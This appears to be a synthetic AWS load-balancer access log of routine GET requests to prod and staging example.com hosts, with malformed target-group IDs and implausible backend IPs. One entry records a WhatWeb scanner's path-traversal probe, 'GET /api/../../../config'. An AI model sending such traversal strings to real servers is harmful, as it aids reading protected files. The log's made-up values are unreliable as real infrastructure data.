"GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b991-c5f08f2cc9ce461580f1b0d2" "prod-api-alb.example.com" "-" 5 2024-11-01T00:08:33.345943Z "forward" "-" "-" "10.0.149.6:443" "200" "-" "-" +https 2024-11-01T00:08:35.072026Z staging-alb 247.151.19.8:29382 29.135.205.158:443 0.037577 0.132469 0.107801 200 200 301 7794 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b993-7b0af735c207428589b56244" "staging-alb.example.com" "-" 7 2024-11-01T00:08:35.072026Z "forward" "-" "-" "29.135.205.158:443" "200" "-" "-" +https 2024-11-01T00:08:35.994445Z prod-api-alb 219.126.253.31:44546 10.0.255.41:443 0.011370 0.468602 0.008488 200 200 398 8625 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b993-4933b8c296e04c17b3bafc8e" "prod-api-alb.example.com" "-" 0 2024-11-01T00:08:35.994445Z "forward" "-" "-" "10.0.255.41:443" "200" "-" "-" +http 2024-11-01T00:08:37.310941Z staging-alb 243.200.45.63:45573 251.83.57.167:80 0.038896 0.325200 0.148314 200 200 466 14777 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b995-23d7e4fcfffa488eb351bb7c" "staging-alb.example.com" "-" 9 2024-11-01T00:08:37.310941Z "forward" "-" "-" "251.83.57.167:80" "200" "-" "-" +http 2024-11-01T00:08:38.735533Z staging-alb 245.70.39.175:37497 169.96.225.222:8080 0.091687 0.687560 0.060278 200 200 91 1664 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b996-c72959fefe9948bea63fa943" "staging-alb.example.com" "-" 2 2024-11-01T00:08:38.735533Z "forward" "-" "-" "169.96.225.222:8080" "200" "-" "-" +https 2024-11-01T00:08:40.446767Z prod-api-alb 146.96.213.0:59777 10.0.169.19:443 0.039536 0.293346 0.070800 302 302 388 12383 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b998-4f9e84279baf47f29a479fb4" "prod-api-alb.example.com" "-" 3 2024-11-01T00:08:40.446767Z "forward" "-" "-" "10.0.169.19:443" "302" "-" "-" +https 2024-11-01T00:08:41.637559Z staging-alb 51.44.186.252:24535 235.55.9.6:443 0.071448 0.179944 0.147963 200 200 395 9556 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b999-292d5848678a4c0e9a090546" "staging-alb.example.com" "-" 0 2024-11-01T00:08:41.637559Z "forward" "-" "-" "235.55.9.6:443" "200" "-" "-" +http 2024-11-01T00:08:43.466492Z staging-alb 229.186.196.225:28694 199.133.246.233:80 0.112075 0.158738 0.144460 302 302 569 9019 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b99b-10091de26d9145088b7f21b2" "staging-alb.example.com" "-" 0 2024-11-01T00:08:43.466492Z "forward" "-" "-" "199.133.246.233:80" "302" "-" "-" +https 2024-11-01T00:08:44.927972Z prod-api-alb 227.237.183.237:15775 10.0.103.111:443 0.037447 0.203867 0.069486 200 200 825 8965 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b99c-7c9cb91a5eca4c49a33d04a7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:08:44.927972Z "forward" "-" "-" "10.0.103.111:443" "200" "-" "-" +http 2024-11-01T00:08:46.740526Z staging-alb 81.82.198.116:47890 112.208.1.185:8080 0.095479 0.735154 0.099129 200 200 374 8122 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b99e-a1903c72cf0b4a16992e6c3d" "staging-alb.example.com" "-" 7 2024-11-01T00:08:46.740526Z "forward" "-" "-" "112.208.1.185:8080" "200" "-" "-" +https 2024-11-01T00:08:48.269956Z prod-api-alb 162.239.154.226:30049 10.0.115.57:443 0.058122 0.384681 0.069548 200 200 607 1157 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9a0-4d7c92599d2147099801e69c" "prod-api-alb.example.com" "-" 8 2024-11-01T00:08:48.269956Z "forward" "-" "-" "10.0.115.57:443" "200" "-" "-" +https 2024-11-01T00:08:48.780731Z prod-api-alb 247.203.172.103:35750 10.0.174.120:443 0.028403 0.170986 0.029528 200 200 266 7126 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9a0-8152bc7c593e4c0c85a44d9d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:08:48.780731Z "forward" "-" "-" "10.0.174.120:443" "200" "-" "-" +https 2024-11-01T00:08:50.412719Z prod-api-alb 231.26.251.101:20455 10.0.66.12:443 0.090284 0.073186 0.046127 301 301 51 3062 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9a2-0757b559b70647edb6a8873f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:08:50.412719Z "forward" "-" "-" "10.0.66.12:443" "301" "-" "-" +https 2024-11-01T00:08:52.305397Z prod-api-alb 244.46.123.204:21034 10.0.71.241:443 0.062364 0.127960 0.027266 404 404 196 10884 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9a4-35839789326b4659a6a6a04f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:08:52.305397Z "forward" "-" "-" "10.0.71.241:443" "404" "-" "-" +https 2024-11-01T00:08:53.225045Z prod-web-alb 175.67.150.24:28681 10.0.75.158:443 0.007019 0.093201 0.088666 200 200 762 6513 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9a5-cc582b2b24904051ba68b59e" "prod-web-alb.example.com" "-" 3 2024-11-01T00:08:53.225045Z "forward" "-" "-" "10.0.75.158:443" "200" "-" "-" +https 2024-11-01T00:08:53.598720Z prod-api-alb 141.202.190.35:17741 10.0.81.92:443 0.075126 0.212618 0.010862 302 302 922 9971 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9a5-a6edb3fab8674f33b0fb402f" "prod-api-alb.example.com" "-" 5 2024-11-01T00:08:53.598720Z "forward" "-" "-" "10.0.81.92:443" "302" "-" "-" +https 2024-11-01T00:08:54.912016Z staging-alb 33.49.148.69:13975 189.132.226.214:8080 0.037617 0.329921 0.008436 200 200 648 1581 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9a6-6b71bc6530544f32a30c069e" "staging-alb.example.com" "-" 8 2024-11-01T00:08:54.912016Z "forward" "-" "-" "189.132.226.214:8080" "200" "-" "-" +https 2024-11-01T00:08:56.783409Z prod-web-alb 190.173.92.165:47412 10.0.174.40:443 0.066517 0.212991 0.099857 404 404 336 5078 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9a8-d50482e7fa884c7f976f2162" "prod-web-alb.example.com" "-" 7 2024-11-01T00:08:56.783409Z "forward" "-" "-" "10.0.174.40:443" "404" "-" "-" +https 2024-11-01T00:08:58.713085Z prod-api-alb 235.100.161.126:48307 10.0.221.211:443 0.032861 0.018424 0.070468 200 200 377 13247 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9aa-6b41992952664f7bac97fe8e" "prod-api-alb.example.com" "-" 7 2024-11-01T00:08:58.713085Z "forward" "-" "-" "10.0.221.211:443" "200" "-" "-" +https 2024-11-01T00:08:59.400318Z prod-web-alb 155.102.67.138:48638 10.0.122.242:443 0.029648 0.130326 0.038328 301 301 689 6844 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9ab-1a5a622eda5d49a09720bbbe" "prod-web-alb.example.com" "-" 4 2024-11-01T00:08:59.400318Z "forward" "-" "-" "10.0.122.242:443" "301" "-" "-" +https 2024-11-01T00:09:00.900411Z prod-api-alb 190.79.197.69:38127 10.0.7.192:443 0.014077 0.337112 0.094662 302 302 125 13415 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ac-ec3e2c11f8c242dfb1f5133b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:09:00.900411Z "forward" "-" "-" "10.0.7.192:443" "302" "-" "-" +https 2024-11-01T00:09:01.761161Z prod-web-alb 181.27.168.222:10319 10.0.206.4:443 0.066296 0.178852 0.069341 200 200 487 6586 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9ad-45561269c4e641cd8a0f7512" "prod-web-alb.example.com" "-" 5 2024-11-01T00:09:01.761161Z "forward" "-" "-" "10.0.206.4:443" "200" "-" "-" +https 2024-11-01T00:09:02.055325Z prod-web-alb 198.128.44.208:64410 10.0.188.161:443 0.020886 0.137830 0.013687 200 200 729 1469 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9ae-a98253aa652a4fffa146dc44" "prod-web-alb.example.com" "-" 5 2024-11-01T00:09:02.055325Z "forward" "-" "-" "10.0.188.161:443" "200" "-" "-" +https 2024-11-01T00:09:02.956414Z staging-alb 169.127.133.97:18376 228.85.104.69:8080 0.069357 0.023210 0.104419 200 200 977 7805 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9ae-316e28375f1144309f7e9c31" "staging-alb.example.com" "-" 4 2024-11-01T00:09:02.956414Z "forward" "-" "-" "228.85.104.69:8080" "200" "-" "-" +https 2024-11-01T00:09:04.381535Z prod-api-alb 150.18.37.126:31080 10.0.175.232:443 0.006685 0.355663 0.099348 200 200 397 14422 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9b0-bc3a3ff7beed4ef8b47019c9" "prod-api-alb.example.com" "-" 1 2024-11-01T00:09:04.381535Z "forward" "-" "-" "10.0.175.232:443" "200" "-" "-" +https 2024-11-01T00:09:05.835215Z prod-api-alb 181.12.71.219:44949 10.0.100.32:443 0.076678 0.016149 0.051314 200 200 304 6479 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9b1-ec6b56a5113246bca3dc6591" "prod-api-alb.example.com" "-" 3 2024-11-01T00:09:05.835215Z "forward" "-" "-" "10.0.100.32:443" "200" "-" "-" +https 2024-11-01T00:09:06.865577Z staging-alb 94.124.197.206:50239 245.55.166.43:443 0.082858 0.274058 0.049513 200 200 147 4602 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9b2-b1239f2fd6864fd898fa63da" "staging-alb.example.com" "-" 6 2024-11-01T00:09:06.865577Z "forward" "-" "-" "245.55.166.43:443" "200" "-" "-" +https 2024-11-01T00:09:07.585803Z staging-alb 169.248.107.56:15550 31.20.61.234:443 0.050892 0.371214 0.116620 302 302 950 6246 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9b3-3c35a4d6b1a946b3aeff3fe4" "staging-alb.example.com" "-" 10 2024-11-01T00:09:07.585803Z "forward" "-" "-" "31.20.61.234:443" "302" "-" "-" +https 2024-11-01T00:09:08.967320Z prod-web-alb 191.178.200.228:53202 10.0.199.219:443 0.016939 0.468535 0.052913 200 200 738 13100 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9b4-27d50694abd642078f48c508" "prod-web-alb.example.com" "-" 1 2024-11-01T00:09:08.967320Z "forward" "-" "-" "10.0.199.219:443" "200" "-" "-" +https 2024-11-01T00:09:10.863193Z prod-web-alb 121.45.21.101:56550 10.0.233.39:443 0.026400 0.423718 0.004194 200 200 713 6454 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9b6-56224f3d47ac4d269139d1f5" "prod-web-alb.example.com" "-" 10 2024-11-01T00:09:10.863193Z "forward" "-" "-" "10.0.233.39:443" "200" "-" "-" +http 2024-11-01T00:09:11.694289Z staging-alb 91.134.12.98:32544 48.105.221.15:8080 0.145603 0.305390 0.011434 200 200 902 10123 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9b7-babc8ecb6b9d4ba29839c9e0" "staging-alb.example.com" "-" 8 2024-11-01T00:09:11.694289Z "forward" "-" "-" "48.105.221.15:8080" "200" "-" "-" +https 2024-11-01T00:09:13.316142Z prod-api-alb 160.12.82.13:39213 10.0.151.64:443 0.030440 0.106611 0.037407 200 200 163 11128 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9b9-ee186da52745461289de177a" "prod-api-alb.example.com" "-" 0 2024-11-01T00:09:13.316142Z "forward" "-" "-" "10.0.151.64:443" "200" "-" "-" +https 2024-11-01T00:09:14.247498Z prod-api-alb 155.90.11.27:42306 10.0.135.1:443 0.092633 0.425331 0.054350 200 200 843 14871 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ba-b40da7631f3b4bb88786790c" "prod-api-alb.example.com" "-" 4 2024-11-01T00:09:14.247498Z "forward" "-" "-" "10.0.135.1:443" "200" "-" "-" +http 2024-11-01T00:09:15.452988Z staging-alb 252.210.232.74:41496 220.180.71.214:80 0.057048 0.491992 0.042372 200 200 766 6263 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9bb-af722781c1224ad3b1e4798f" "staging-alb.example.com" "-" 8 2024-11-01T00:09:15.452988Z "forward" "-" "-" "220.180.71.214:80" "200" "-" "-" +https 2024-11-01T00:09:15.956270Z prod-web-alb 110.127.29.187:46503 10.0.181.195:443 0.074593 0.471014 0.099545 200 200 250 8376 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9bb-61b9451417d24789a879c7ac" "prod-web-alb.example.com" "-" 7 2024-11-01T00:09:15.956270Z "forward" "-" "-" "10.0.181.195:443" "200" "-" "-" +https 2024-11-01T00:09:16.547339Z prod-web-alb 144.215.240.212:52700 10.0.83.234:443 0.079387 0.022972 0.014208 200 200 361 1643 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9bc-96d89764f9304ef6824e2c19" "prod-web-alb.example.com" "-" 8 2024-11-01T00:09:16.547339Z "forward" "-" "-" "10.0.83.234:443" "200" "-" "-" +https 2024-11-01T00:09:18.439195Z prod-api-alb 224.56.19.245:38255 10.0.145.156:443 0.034876 0.293683 0.011871 200 200 714 6055 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9be-cedb4547f1794f40b9ff66b1" "prod-api-alb.example.com" "-" 3 2024-11-01T00:09:18.439195Z "forward" "-" "-" "10.0.145.156:443" "200" "-" "-" +https 2024-11-01T00:09:18.652426Z prod-web-alb 193.27.228.135:50480 10.0.197.106:443 0.018954 0.219816 0.015592 404 404 695 5772 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9be-bc3b1d70f8e14565abf42475" "-" "-" 0 2024-11-01T00:09:18.652426Z "forward" "-" "-" "10.0.197.106:443" "404" "-" "-" +https 2024-11-01T00:09:19.265794Z prod-web-alb 112.207.42.127:29534 10.0.228.91:443 0.024563 0.016614 0.063076 301 301 663 14877 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9bf-3c08aa467b5948969f3910d4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:09:19.265794Z "forward" "-" "-" "10.0.228.91:443" "301" "-" "-" +https 2024-11-01T00:09:20.419040Z prod-api-alb 79.93.167.145:48994 10.0.26.250:443 0.006495 0.126461 0.062907 200 200 24 9139 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9c0-ed49d08112cd49e5a673c298" "prod-api-alb.example.com" "-" 10 2024-11-01T00:09:20.419040Z "forward" "-" "-" "10.0.26.250:443" "200" "-" "-" +https 2024-11-01T00:09:21.227187Z prod-api-alb 74.146.102.84:51918 10.0.126.130:443 0.035198 0.119381 0.094968 200 200 682 1027 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9c1-9348327f72cb4ad58f9c6684" "prod-api-alb.example.com" "-" 6 2024-11-01T00:09:21.227187Z "forward" "-" "-" "10.0.126.130:443" "200" "-" "-" +https 2024-11-01T00:09:21.476733Z prod-web-alb 8.132.65.63:43592 10.0.2.109:443 0.074502 0.454738 0.027143 301 301 621 12666 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9c1-0a1509926c134a5ea54fc3a4" "prod-web-alb.example.com" "-" 3 2024-11-01T00:09:21.476733Z "forward" "-" "-" "10.0.2.109:443" "301" "-" "-" +https 2024-11-01T00:09:21.767089Z prod-web-alb 0.250.142.204:52681 10.0.153.220:443 0.042992 0.419508 0.080860 404 404 445 10358 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9c1-dafcae54c71b41f18964148b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:09:21.767089Z "forward" "-" "-" "10.0.153.220:443" "404" "-" "-" +https 2024-11-01T00:09:23.607928Z prod-api-alb 58.72.127.215:22550 10.0.63.79:443 0.035110 0.490379 0.047246 302 302 237 14620 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9c3-bd4c8479c2f049428c1809ac" "-" "-" 9 2024-11-01T00:09:23.607928Z "forward" "-" "-" "10.0.63.79:443" "302" "-" "-" +https 2024-11-01T00:09:23.798083Z prod-api-alb 82.4.57.136:60419 10.0.132.116:443 0.025781 0.243796 0.034950 200 200 790 1438 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9c3-5a7dfe94088b4ef7a974e981" "prod-api-alb.example.com" "-" 4 2024-11-01T00:09:23.798083Z "forward" "-" "-" "10.0.132.116:443" "200" "-" "-" +http 2024-11-01T00:09:25.356841Z staging-alb 250.210.219.230:19477 165.119.139.100:8080 0.053503 0.453473 0.128310 200 200 346 10647 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9c5-c5904fae839e49f0a09011a1" "staging-alb.example.com" "-" 8 2024-11-01T00:09:25.356841Z "forward" "-" "-" "165.119.139.100:8080" "200" "-" "-" +https 2024-11-01T00:09:27.032063Z staging-alb 109.165.22.207:27292 127.95.10.225:8080 0.070114 0.292490 0.019562 301 301 120 9643 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9c7-a096c661c62c494c93e41cf2" "staging-alb.example.com" "-" 6 2024-11-01T00:09:27.032063Z "forward" "-" "-" "127.95.10.225:8080" "301" "-" "-" +https 2024-11-01T00:09:27.488318Z staging-alb 63.184.39.162:38413 152.24.100.86:443 0.116458 0.021297 0.052273 200 200 506 497 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9c7-b2ce833554fb4f0f8de03543" "staging-alb.example.com" "-" 5 2024-11-01T00:09:27.488318Z "forward" "-" "-" "152.24.100.86:443" "200" "-" "-" +http 2024-11-01T00:09:27.912497Z staging-alb 